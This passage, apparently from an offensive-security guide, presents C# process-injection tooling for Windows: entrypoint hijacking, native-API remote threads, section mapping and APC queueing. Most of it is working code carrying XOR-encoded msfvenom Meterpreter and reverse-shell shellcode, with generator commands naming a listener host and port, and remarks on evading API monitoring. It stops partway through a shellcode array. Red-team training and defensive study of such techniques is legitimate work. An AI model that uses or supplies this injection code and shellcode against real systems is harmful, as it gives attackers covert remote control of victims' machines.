// This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))
// From the PEB (address we got in last call), we have to do the following:
// 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing
// 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C from executable address to get the offset for the PE header
// 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset
// 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address
// 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!
// 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing
byte[] procAddr = new byte[0x8];
byte[] dataBuf = new byte[0x200];
IntPtr bytesRW = new IntPtr();
bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);
IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);
result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);
Console.WriteLine($"DEBUG: Executable base address: {"0x" + executableAddress.ToString("x")}.");
// 2. Read the field 'e_lfanew', 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header
uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);
Console.WriteLine($"DEBUG: e_lfanew offset: {"0x" + e_lfanew.ToString("x")}.");
// 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset
uint rvaOffset = e_lfanew + 0x28;
Console.WriteLine($"DEBUG: RVA offset: {"0x" + rvaOffset.ToString("x")}.");
// 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address
uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);
Console.WriteLine($"DEBUG: RVA value: {"0x" + rva.ToString("x")}.");
// 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!
IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);
Console.WriteLine($"Got executable entrypoint address: {"0x" + entrypointAddr.ToString("x")}.");
// Carrying on, decode the XOR payload
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)((uint)buf[i] ^ 0xfa);
}
Console.WriteLine("XOR-decoded payload.");
// Overwrite the memory at the identified address to 'hijack' the entrypoint of the executable
result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);
Console.WriteLine($"Overwrote entrypoint with payload. Success: {result}.");
// Resume the thread to trigger our payload
uint rResult = ResumeThread(pInfo.hThread);
Console.WriteLine($"Triggered payload. Success: {rResult == 1}. Check your listener!");
}
}
}
NativeProcInjection
Explanation
This technique demonstrates classic process injection using Native Windows API functions. It creates a remote process
(usually notepad.exe), allocates memory in it, writes shellcode, and creates a remote thread to execute
the payload.
High-Level Steps:
- Obtain a handle to the target process using
NtOpenProcess. - Allocate memory in the remote process with
NtAllocateVirtualMemory. - Write shellcode into the allocated memory using
NtWriteVirtualMemory. - Create a remote thread in the target process using
NtCreateThreadExto execute the shellcode.
Code
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
namespace Inject
{
class Program
{
private static readonly uint PAGE_EXECUTE_READWRITE = 0x40;
private static readonly uint MEM_COMMIT = 0x1000;
private static readonly uint MEM_RESERVE = 0x2000;
[StructLayout(LayoutKind.Sequential)]
public struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[StructLayout(LayoutKind.Sequential, Pack = 0)]
public struct OBJECT_ATTRIBUTES
{
public int Length;
public IntPtr RootDirectory;
public IntPtr ObjectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtOpenProcess(ref IntPtr ProcessHandle, UInt32 AccessMask, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID clientId);
[DllImport("ntdll.dll")]
static extern IntPtr NtAllocateVirtualMemory(IntPtr processHandle, ref IntPtr baseAddress, IntPtr zeroBits, ref IntPtr regionSize, uint allocationType, uint protect);
[DllImport("ntdll.dll")]
static extern int NtWriteVirtualMemory(IntPtr processHandle, IntPtr baseAddress, byte[] buffer, uint bufferSize, out uint written);
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtCreateThreadEx(out IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, [MarshalAs(UnmanagedType.Bool)] bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer);
static void Main(string[] args)
{
Process[] targetProcess = Process.GetProcessesByName("explorer");
IntPtr htargetProcess = targetProcess[0].Handle;
IntPtr hProcess = IntPtr.Zero;
CLIENT_ID clientid = new CLIENT_ID();
clientid.UniqueProcess = new IntPtr(targetProcess[0].Id);
clientid.UniqueThread = IntPtr.Zero;
OBJECT_ATTRIBUTES ObjectAttributes = new OBJECT_ATTRIBUTES();
uint status = NtOpenProcess(ref hProcess, 0x001F0FFF, ref ObjectAttributes, ref clientid);
// Generate: msfvenom -p windows/x64/meterpreter/reverse_tcp exitfunc=thread LHOST=eth0 LPORT=443 -f csharp
// The shellcode XOR'd with key: 0xfa
byte[] buf = new byte[511] { 0x06, 0xB2, 0x79, 0x1E, 0x0A, 0x12, 0x36, 0xFA, 0xFA, 0xFA, 0xBB, ..., 0x1D, 0xA2, 0x90, 0xFA, 0xA3, 0x41, 0x1A, 0xE7, 0xD0, 0xF0, 0xBB, 0x73, 0x20, 0x05, 0x2F };
IntPtr baseAddress = new IntPtr();
IntPtr regionSize = (IntPtr)buf.Length;
IntPtr NtAllocResult = NtAllocateVirtualMemory(hProcess, ref baseAddress, IntPtr.Zero, ref regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
var localBaseAddrString = string.Format("{0:X}", baseAddress);
UInt64 localBaseAddrInt = UInt64.Parse(localBaseAddrString);
string localBaseAddHex = localBaseAddrInt.ToString("x");
// Decode the payload
for (int j = 0; j < buf.Length; j++)
{
buf[j] = (byte)((uint)buf[j] ^ 0xfa);
}
int NtWriteProcess = NtWriteVirtualMemory(hProcess, baseAddress, buf, (uint)buf.Length, out uint wr);
unsafe
{
fixed (byte* p = &buf[0])
{
byte* p2 = p;
var bufString = string.Format("{0:X}", new IntPtr(p2));
UInt64 bufInt = UInt64.Parse(bufString);
string bufHex = bufInt.ToString("x");
}
}
List<int> threadList = new List<int>();
ProcessThreadCollection threadsBefore = Process.GetProcessById(targetProcess[0].Id).Threads;
foreach (ProcessThread thread in threadsBefore)
{
threadList.Add(thread.Id);
}
IntPtr hRemoteThread;
uint hThread = NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, htargetProcess,(IntPtr)baseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
}
}
}
NtMapInjection
Explanation
This method utilizes NT native APIs to create a shared memory section and map it into both the local and remote
process. It's stealthier than the classic method and avoids using easily-monitored APIs like
WriteProcessMemory.
High-Level Steps:
- Create a memory section using
NtCreateSection. - Map the section into the local process using
NtMapViewOfSection. - Copy the shellcode into the local view.
- Map the same section into the remote process using
NtMapViewOfSection. - Create a remote thread in the target process with
CreateRemoteThreador equivalent to execute the code.
Code
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
namespace Inject
{
class Program
{
private static readonly uint SECTION_MAP_READ = 0x0004;
private static readonly uint SECTION_MAP_WRITE = 0x0002;
private static readonly uint SECTION_MAP_EXECUTE = 0x0008;
private static readonly uint PAGE_EXECUTE_READWRITE = 0x40;
private static readonly uint SEC_COMMIT = 0x8000000;
private static readonly uint PAGE_READWRITE = 0x04;
private static readonly uint PAGE_READEXECUTE = 0x20;
[DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)]
static extern UInt32 NtCreateSection(ref IntPtr SectionHandle, UInt32 DesiredAccess, IntPtr ObjectAttributes, ref UInt32 MaximumSize, UInt32 SectionPageProtection, UInt32 AllocationAttributes, IntPtr FileHandle);
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtMapViewOfSection(IntPtr SectionHandle, IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, IntPtr CommitSize, out ulong SectionOffset, out int ViewSize, uint InheritDisposition, uint AllocationType, uint Win32Protect);
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);
[DllImport("ntdll.dll", ExactSpelling = true, SetLastError = false)]
static extern int NtClose(IntPtr hObject);
[DllImport("ntdll.dll", SetLastError = true)]
public static extern uint NtCreateThreadEx(out IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, [MarshalAs(UnmanagedType.Bool)] bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
static void Main(string[] args)
{
byte[] buf;
IntPtr hremoteProcess = default;
Process[] targetProcess = Process.GetProcessesByName("explorer"); //You can change it.
hremoteProcess = OpenProcess(0x001F0FFF, false, targetProcess[0].Id);
IntPtr hlocalProcess = Process.GetCurrentProcess().Handle;
// x86 Payload: msfvenom -p windows/shell_reverse_tcp exitfunc=thread LHOST=192.168.100.128 LPORT=4444 -f csharp
// byte[] bufx64 = new byte[375] { 0x06, 0x12, 0x75, 0xFA, 0xFA, 0xFA, 0x9A, 0xCB, 0x28, 0x73, 0x1F, 0x9E, 0x71, 0xA8, 0xCA, 0x71, 0xA8, 0xF6, 0x71, 0xA8, 0xEE, 0xCB, 0x05, 0x71, 0x88, 0xD2, 0xF5, 0x4D, 0xB0, 0xDC, 0xCB, 0x3A, 0x56, 0xC6, 0x9B, 0x86, 0xF8, 0xD6, 0xDA, 0x3B, 0x35, 0xF7, 0xFB, 0x3D, 0xB3, 0x8F, 0x15, 0xA8, 0xAD, 0x71, 0xA8, 0xEA, 0x71, 0xB8, 0xC6, 0xFB, 0x2A, 0x71, 0xBA, 0x82, 0x7F, 0x3A, 0x8E, 0xB6, 0xFB, 0x2A, 0x71, 0xB2, 0xE2, 0xAA, 0x71, 0xA2, 0xDA, 0xFB, 0x29, 0x7F, 0x33, 0x8E, 0xC6, 0xB3, 0x71, 0xCE, 0x71, 0xCB, 0x05, 0xFB, 0x2C, 0xCB, 0x3A, 0x56, 0x3B, 0x35, 0xF7, 0xFB, 0x3D, 0xC2, 0x1A, 0x8F, 0x0E, 0xF9, 0x87, 0x02, 0xC1, 0x87, 0xDE, 0x8F, 0x1A, 0xA2, 0x71, 0xA2, 0xDE, 0xFB, 0x29, 0x9C, 0x71, 0xF6, 0xB1, 0x71, 0xA2, 0xE6, 0xFB, 0x29, 0x71, 0xFE, 0x71, 0xFB, 0x2A, 0x73, 0xBE, 0xDE, 0xDE, 0xA1, 0xA1, 0x9B, 0xA3, 0xA0, 0xAB, 0x05, 0x1A, 0xA2, 0xA5, 0xA0, 0x71, 0xE8, 0x13, 0x7A, 0x05, 0x05, 0x05, 0xA7, 0x92, 0xC9, 0xC8, 0xFA, 0xFA, 0x92, 0x8D, 0x89, 0xC8, 0xA5, 0xAE, 0x92, 0xB6, 0x8D, 0xDC, 0xFD, 0x73, 0x12, 0x05, 0x2A, 0x42, 0x6A, 0xFB, 0xFA, 0xFA, 0xD3, 0x3E, 0xAE, 0xAA, 0x92, 0xD3, 0x7A, 0x91, 0xFA, 0x05, 0x2F, 0x90, 0xF0, 0x92, 0x3A, 0x52, 0xC8, 0x9F, 0x92, 0xF8, 0xFA, 0xFB, 0x41, 0x73, 0x1C, 0xAA, 0xAA, 0xAA, 0xAA, 0xBA, 0xAA, 0xBA, 0xAA, 0x92, 0x10, 0xF5, 0x25, 0x1A, 0x05, 0x2F, 0x6D, 0x90, 0xEA, 0xAC, 0xAD, 0x92, 0x63, 0x5F, 0x8E, 0x9B, 0x05, 0x2F, 0x7F, 0x3A, 0x8E, 0xF0, 0x05, 0xB4, 0xF2, 0x8F, 0x16, 0x12, 0x9D, 0xFA, 0xFA, 0xFA, 0x90, 0xFA, 0x90, 0xFE, 0xAC, 0xAD, 0x92, 0xF8, 0x23, 0x32, 0xA5, 0x05, 0x2F, 0x79, 0x02, 0xFA, 0x84, 0xCC, 0x71, 0xCC, 0x90, 0xBA, 0x92, 0xFA, 0xEA, 0xFA, 0xFA, 0xAC, 0x90, 0xFA, 0x92, 0xA2, 0x5E, 0xA9, 0x1F, 0x05, 0x2F, 0x69, 0xA9, 0x90, 0xFA, 0xAC, 0xA9, 0xAD, 0x92, 0xF8, 0x23, 0x32, 0xA5, 0x05, 0x2F, 0x79, 0x02, 0xFA, 0x87, 0xD2, 0xA2, 0x92, 0xFA, 0xBA, 0xFA, 0xFA, 0x90, 0xFA, 0xAA, 0x92, 0xF1, 0xD5, 0xF5, 0xCA, 0x05, 0x2F, 0xAD, 0x92, 0x8F, 0x94, 0xB7, 0x9B, 0x05, 0x2F, 0xA4, 0xA4, 0x05, 0xF6, 0xDE, 0xF5, 0x7F, 0x8A, 0x05, 0x05, 0x05, 0x13, 0x61, 0x05, 0x05, 0x05, 0xFB, 0x39, 0xD3, 0x3C, 0x8F, 0x3B, 0x39, 0x41, 0x1A, 0xE7, 0xD0, 0xF0, 0x92, 0x5C, 0x6F, 0x47, 0x67, 0x05, 0x2F, 0xC6, 0xFC, 0x86, 0xF0, 0x7A, 0x01, 0x1A, 0x8F, 0xFF, 0x41, 0xBD, 0xE9, 0x88, 0x95, 0x90, 0xFA, 0xA9, 0x05, 0x2F };
// x64 Payload: msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=192.168.100.128 LPORT=4444 -f csharp
byte[] bufx64 = new byte[511] { 0x06, 0xB2, 0x79, 0x1E, 0x0A, 0x12, 0x36, 0xFA, 0xFA, 0xFA, 0xBB, 0xAB, 0xBB, 0xAA, 0xA8, 0xAB, 0xAC, 0xB2, 0xCB, 0x28, 0x9F, 0xB2, 0x71, 0xA8, 0x9A, 0xB2, 0x71, 0xA8, 0xE2, 0xB2, 0x71, 0xA8, 0xDA, 0xB2, 0x71, 0x88, 0xAA, 0xB2, 0xF5, 0x4D, 0xB0, 0xB0, 0xB7, 0xCB, 0x33, 0xB2, 0xCB, 0x3A, 0x56, 0xC6, 0x9B, 0x86, 0xF8, 0xD6, 0xDA, 0xBB, 0x3B, 0x33, 0xF7, 0xBB, 0xFB, 0x3B, 0x18, 0x17, 0xA8, 0xBB, 0xAB, 0xB2, 0x71, 0xA8, 0xDA, 0x71, 0xB8, 0xC6, 0xB2, 0xFB, 0x2A, 0x9C, 0x7B, 0x82, 0xE2, 0xF1, 0xF8, 0xF5, 0x7F, 0x88, 0xFA, 0xFA, 0xFA, 0x71, 0x7A, 0x72, 0xFA, 0xFA, 0xFA, 0xB2, 0x7F, 0x3A, 0x8E, 0x9D, 0xB2, 0xFB, 0x2A, 0xAA, 0xBE, 0x71, 0xBA, 0xDA, 0xB3, 0xFB, 0x2A, 0x71, 0xB2, 0xE2, 0x19, 0xAC, 0xB2, 0x05, 0x33, 0xBB, 0x71, 0xCE, 0x72, 0xB2, 0xFB, 0x2C, 0xB7, 0xCB, 0x33, 0xB2, 0xCB, 0x3A, 0x56, 0xBB, 0x3B, 0x33, 0xF7, 0xBB, 0xFB, 0x3B, 0xC2, 0x1A, 0x8F, 0x0B, 0xB6, 0xF9, 0xB6, 0xDE, 0xF2, 0xBF, 0xC3, 0x2B, 0x8F, 0x22, 0xA2, 0xBE, 0x71, 0xBA, 0xDE, 0xB3, 0xFB, 0x2A, 0x9C, 0xBB, 0x71, 0xF6, 0xB2, 0xBE, 0x71, 0xBA, 0xE6, 0xB3, 0xFB, 0x2A, 0xBB, 0x71, 0xFE, 0x72, 0xBB, 0xA2, 0xBB, 0xA2, 0xA4, 0xB2, 0xFB, 0x2A, 0xA3, 0xA0, 0xBB, 0xA2, 0xBB, 0xA3, 0xBB, 0xA0, 0xB2, 0x79, 0x16, 0xDA, 0xBB, 0xA8, 0x05, 0x1A, 0xA2, 0xBB, 0xA3, 0xA0, 0xB2, 0x71, 0xE8, 0x13, 0xB1, 0x05, 0x05, 0x05, 0xA7, 0xB3, 0x44, 0x8D, 0x89, 0xC8, 0xA5, 0xC9, 0xC8, 0xFA, 0xFA, 0xBB, 0xAC, 0xB3, 0x73, 0x1C, 0xB2, 0x7B, 0x16, 0x5A, 0xFB, 0xFA, 0xFA, 0xB3, 0x73, 0x1F, 0xB3, 0x46, 0xF8, 0xFA, 0xFB, 0x41, 0x3A, 0x52, 0xD7, 0x39, 0xBB, 0xAE, 0xB3, 0x73, 0x1E, 0xB6, 0x73, 0x0B, 0xBB, 0x40, 0xB6, 0x8D, 0xDC, 0xFD, 0x05, 0x2F, 0xB6, 0x73, 0x10, 0x92, 0xFB, 0xFB, 0xFA, 0xFA, 0xA3, 0xBB, 0x40, 0xD3, 0x7A, 0x91, 0xFA, 0x05, 0x2F, 0x90, 0xF0, 0xBB, 0xA4, 0xAA, 0xAA, 0xB7, 0xCB, 0x33, 0xB7, 0xCB, 0x3A, 0xB2, 0x05, 0x3A, 0xB2, 0x73, 0x38, 0xB2, 0x05, 0x3A, 0xB2, 0x73, 0x3B, 0xBB, 0x40, 0x10, 0xF5, 0x25, 0x1A, 0x05, 0x2F, 0xB2, 0x73, 0x3D, 0x90, 0xEA, 0xBB, 0xA2, 0xB6, 0x73, 0x18, 0xB2, 0x73, 0x03, 0xBB, 0x40, 0x63, 0x5F, 0x8E, 0x9B, 0x05, 0x2F, 0x7F, 0x3A, 0x8E, 0xF0, 0xB3, 0x05, 0x34, 0x8F, 0x1F, 0x12, 0x69, 0xFA, 0xFA, 0xFA, 0xB2, 0x79, 0x16, 0xEA, 0xB2, 0x73, 0x18, 0xB7, 0xCB, 0x33, 0x90, 0xFE, 0xBB, 0xA2, 0xB2, 0x73, 0x03, 0xBB, 0x40, 0xF8, 0x23, 0x32, 0xA5, 0x05, 0x2F, 0x79, 0x02, 0xFA, 0x84, 0xAF, 0xB2, 0x79, 0x3E, 0xDA, 0xA4, 0x73, 0x0C, 0x90, 0xBA, 0xBB, 0xA3, 0x92, 0xFA, 0xEA, 0xFA, 0xFA, 0xBB, 0xA2, 0xB2, 0x73, 0x08, 0xB2, 0xCB, 0x33, 0xBB, 0x40, 0xA2, 0x5E, 0xA9, 0x1F, 0x05, 0x2F, 0xB2, 0x73, 0x39, 0xB3, 0x73, 0x3D, 0xB7, 0xCB, 0x33, 0xB3, 0x73, 0x0A, 0xB2, 0x73, 0x20, 0xB2, 0x73, 0x03, 0xBB, 0x40, 0xF8, 0x23, 0x32, 0xA5, 0x05, 0x2F, 0x79, 0x02, 0xFA, 0x87, 0xD2, 0xA2, 0xBB, 0xAD, 0xA3, 0x92, 0xFA, 0xBA, 0xFA, 0xFA, 0xBB, 0xA2, 0x90, 0xFA, 0xA0, 0xBB, 0x40, 0xF1, 0xD5, 0xF5, 0xCA, 0x05, 0x2F, 0xAD, 0xA3, 0xBB, 0x40, 0x8F, 0x94, 0xB7, 0x9B, 0x05, 0x2F, 0xB3, 0x05, 0x34, 0x13, 0xC6, 0x05, 0x05, 0x05, 0xB2, 0xFB, 0x39, 0xB2, 0xD3, 0x3C, 0xB2, 0x7F, 0x0C, 0x8F, 0x4E, 0xBB, 0x05, 0x1D, 0xA2, 0x90, 0xFA, 0xA3, 0x41, 0x1A, 0xE7, 0xD0, 0xF0, 0xBB, 0x73, 0x20, 0x05, 0x2F };
buf = bufx64;
int len = buf.Length;
uint bufferLength = (uint)len;
// Decode the payload
for (int j = 0; j < bufx64.Length; j++)
{
bufx64[j] = (byte)((uint)bufx64[j] ^ 0xfa);
}
IntPtr sectionHandler = new IntPtr();
long createSection = (int)NtCreateSection(ref sectionHandler, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, IntPtr.Zero, ref bufferLength, PAGE_EXECUTE_READWRITE, SEC_COMMIT, IntPtr.Zero);
IntPtr localBaseAddress = new IntPtr();
int sizeLocal = 4096;
ulong offsetSectionLocal = new ulong();
long mapSectionLocal = NtMapViewOfSection(sectionHandler, hlocalProcess, ref localBaseAddress, IntPtr.Zero, IntPtr.Zero, out offsetSectionLocal, out sizeLocal, 2, 0, PAGE_READWRITE);
var localBaseAddrString = string.Format("{0:X}", localBaseAddress);
UInt64 localBaseAddrInt = UInt64.Parse(localBaseAddrString);
string localBaseAddHex = localBaseAddrInt.ToString("x");
IntPtr remoteBaseAddress = new IntPtr();
int sizeRemote = 4096;
ulong offsetSectionRemote = new ulong();
long mapSectionRemote = NtMapViewOfSection(sectionHandler, hremoteProcess, ref remoteBaseAddress, IntPtr.Zero, IntPtr.Zero, out offsetSectionRemote, out sizeRemote, 2, 0, PAGE_READEXECUTE);
var remoteBaseAddrString = string.Format("{0:X}", remoteBaseAddress);
UInt64 remoteBaseAddrInt = UInt64.Parse(remoteBaseAddrString);
string remoteBaseAddHex = remoteBaseAddrInt.ToString("x");
Marshal.Copy(buf, 0, localBaseAddress, buf.Length);
unsafe
{
fixed (byte* p = &buf[0])
{
byte* p2 = p;
var bufString = string.Format("{0:X}", new IntPtr(p2));
UInt64 bufInt = UInt64.Parse(bufString);
string bufHex = bufInt.ToString("x");
}
}
List<int> threadList = new List<int>();
ProcessThreadCollection threadsBefore = Process.GetProcessById(targetProcess[0].Id).Threads;
foreach (ProcessThread thread in threadsBefore)
{
threadList.Add(thread.Id);
}
IntPtr hRemoteThread;
uint hThread = NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, hremoteProcess, remoteBaseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
ProcessThreadCollection threads = Process.GetProcessById(targetProcess[0].Id).Threads;
uint unmapStatus = NtUnmapViewOfSection(hlocalProcess, localBaseAddress);
int SectionStatus = NtClose(sectionHandler);
}
private static IntPtr NtOpenProcess(int id, int v, object value)
{
throw new NotImplementedException();
}
}
}
NtQueueApc
Explanation This method uses Asynchronous Procedure Calls (APCs) to queue execution of shellcode in the context of a thread in a remote process. It is often used in combination with other techniques to delay execution or avoid detection.
High-Level Steps:
- Create a new process in a suspended state using
CreateProcesswith the CREATE_SUSPENDED flag. - Allocate memory in the target process with
NtAllocateVirtualMemory. - Write the shellcode into the allocated memory using
NtWriteVirtualMemory. - Queue the shellcode for execution in the suspended thread using
NtQueueApcThread. - Resume the main thread using
NtResumeThreadto trigger the APC and execute the payload.
Code
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace ProcessCreateAndInject
{
class Program
{
// Constants
private const uint PAGE_EXECUTE_READWRITE = 0x40;
private const uint MEM_COMMIT = 0x1000;
private const uint MEM_RESERVE = 0x2000;
private const uint THREAD_ALL_ACCESS = 0x1F03FF;
private const uint PROCESS_ALL_ACCESS = 0x1F0FFF;
private const uint CREATE_SUSPENDED = 0x00000004;
// Structs
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[StructLayout(LayoutKind.Sequential)]
public struct OBJECT_ATTRIBUTES
{
public int Length;
public IntPtr RootDirectory;
public IntPtr ObjectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
// Imports
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("ntdll.dll")]
private static extern uint NtAllocateVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
ref IntPtr RegionSize,
uint AllocationType,
uint Protect);
[DllImport("ntdll.dll")]
private static extern uint NtWriteVirtualMemory(
IntPtr ProcessHandle,
IntPtr BaseAddress,
byte[] Buffer,
uint BufferLength,
out uint BytesWritten);
[DllImport("ntdll.dll")]
private static extern uint NtQueueApcThread(
IntPtr ThreadHandle,
IntPtr ApcRoutine,
IntPtr ApcArgument1,
IntPtr ApcArgument2,
IntPtr ApcArgument3);
[DllImport("ntdll.dll")]
private static extern uint NtResumeThread(
IntPtr ThreadHandle,
out uint PreviousSuspendCount);
static void Main(string[] args)
{
try
{
// Configuration - change these as needed
string targetProcess = @"C:\Windows\System32\notepad.exe";
// Generate: msfvenom -p windows/x64/meterpreter/reverse_tcp exitfunc=thread LHOST=eth0 LPORT=443 -f csharp
// The shellcode XOR'd with key: 0xfa
byte[] shellcode = new byte[511] { 0x06, 0xB2, 0x79, 0x1E, 0x0A, 0x12, 0x36, 0xFA, 0xFA, 0xFA, 0xBB, 0xAB, 0xBB, 0xAA, 0xA8, 0xAB, 0xAC, 0xB2, 0xCB, 0x28, 0x9F, 0xB2, 0x71, 0xA8, 0x9A, 0xB2, 0x71, 0xA8, 0xE2, 0xB2, 0x71, 0xA8, 0xDA, 0xB2, 0xF5, 0x4D, 0xB0, 0xB0, 0xB2, 0x71, 0x88, 0xAA, 0xB7, 0xCB, 0x33, 0xB2, 0xCB, 0x3A, 0x56, 0xC6, 0x9B, 0x86, 0xF8, 0xD6, 0xDA, 0xBB, 0x3B, 0x33, 0xF7, 0xBB, 0xFB, 0x3B, 0x18, 0x17, 0xA8, 0xB2, 0x71, 0xA8, 0xDA, 0x71, 0xB8, 0xC6, 0xB2, 0xFB, 0x2A, 0x9C, 0x7B, 0x82, 0xE2, 0xF1, 0xF8, 0xBB, 0xAB, 0xF5, 0x7F, 0x88, 0xFA, 0xFA, 0xFA, 0x71, 0x7A, 0x72, 0xFA, 0xFA, 0xFA, 0xB2, 0x7F, 0x3A, 0x8E, 0x9D, 0xB2, 0xFB, 0x2A, 0xBE, 0x71, 0xBA, 0xDA, 0xAA, 0xB3, 0xFB, 0x2A, 0x71, 0xB2, 0xE2, 0x19, 0xAC, 0xB7, 0xCB, 0x33, 0xB2, 0x05, 0x33, 0xBB, 0x71, 0xCE, 0x72, 0xB2, 0xFB, 0x2C, 0xB2, 0xCB, 0x3A, 0x56, 0xBB, 0x3B, 0x33, 0xF7, 0xBB, 0xFB, 0x3B, 0xC2, 0x1A, 0x8F, 0x0B, 0xB6, 0xF9, 0xB6, 0xDE, 0xF2, 0xBF, 0xC3, 0x2B, 0x8F, 0x22, 0xA2, 0xBE, 0x71, 0xBA, 0xDE, 0xB3, 0xFB, 0x2A, 0x9C, 0xBB, 0x71, 0xF6, 0xB2, 0xBE, 0x71, 0xBA, 0xE6, 0xB3, 0xFB, 0x2A, 0xBB, 0x71, 0xFE, 0x72, 0xBB, 0xA2, 0xB2, 0xFB, 0x2A, 0xBB, 0xA2, 0xA4, 0xA3, 0xA0, 0xBB, 0xA2, 0xBB, 0xA3, 0xBB, 0xA0, 0xB2, 0x79, 0x16, 0xDA, 0xBB, 0xA8, 0x05, 0x1A, 0xA2, 0xBB, 0xA3, 0xA0, 0xB2, 0x71, 0xE8, 0x13, 0xB1, 0x05, 0x05, 0x05, 0xA7, 0xB3, 0x44, 0x8D, 0x89, 0xC8, 0xA5, 0xC9, 0xC8, 0xFA, 0xFA, 0xBB, 0xAC, 0xB3, 0x73, 0x1C, 0xB2, 0x7B, 0x16, 0x5A, 0xFB, 0xFA, 0xFA, 0xB3, 0x73, 0x1F, 0xB3, 0x46, 0xF8, 0xFA, 0xFB, 0x41, 0x3A, 0x52, 0xE3, 0xEC, 0xBB, 0xAE, 0xB3, 0x73, 0x1E, 0xB6, 0x73, 0x0B, 0xBB, 0x40, 0xB6, 0x8D, 0xDC, 0xFD, 0x05, 0x2F, 0xB6, 0x73, 0x10, 0x92, 0xFB, 0xFB, 0xFA, 0xFA, 0xA3, 0xBB, 0x40, 0xD3, 0x7A, 0x91, 0xFA, 0x05, 0x2F, 0x90, 0xF0, 0xBB, 0xA4, 0xAA, 0xAA, 0xB7, 0xCB, 0x33, 0xB7, 0xCB, 0x3A, 0xB2, 0x05, 0x3A, 0xB2, 0x73, 0x38, 0xB2, 0x05, 0x3A, 0xB2, 0x73, 0x3B, 0xBB, 0x40, 0x10, 0xF5, 0x25, 0x1A, 0x05, 0x2F, 0xB2, 0x73, 0x3D, 0x90, 0xEA, 0xBB, 0xA2, 0xB6, 0x73, 0x18, 0xB2, 0x73, 0x03, 0xBB, 0x40, 0x63, 0x5F, 0x8E, 0x9B, 0x05, 0x2F, 0x7F, 0x3A, 0x8E, 0xF0, 0xB3, 0x05, 0x34, 0x8F, 0x1F, 0x12, 0x69, 0xFA, 0xFA, 0xFA, 0xB2, 0x79, 0x16, 0xEA, 0xB2, 0x73, 0x18, 0xB7, 0xCB, 0x33, 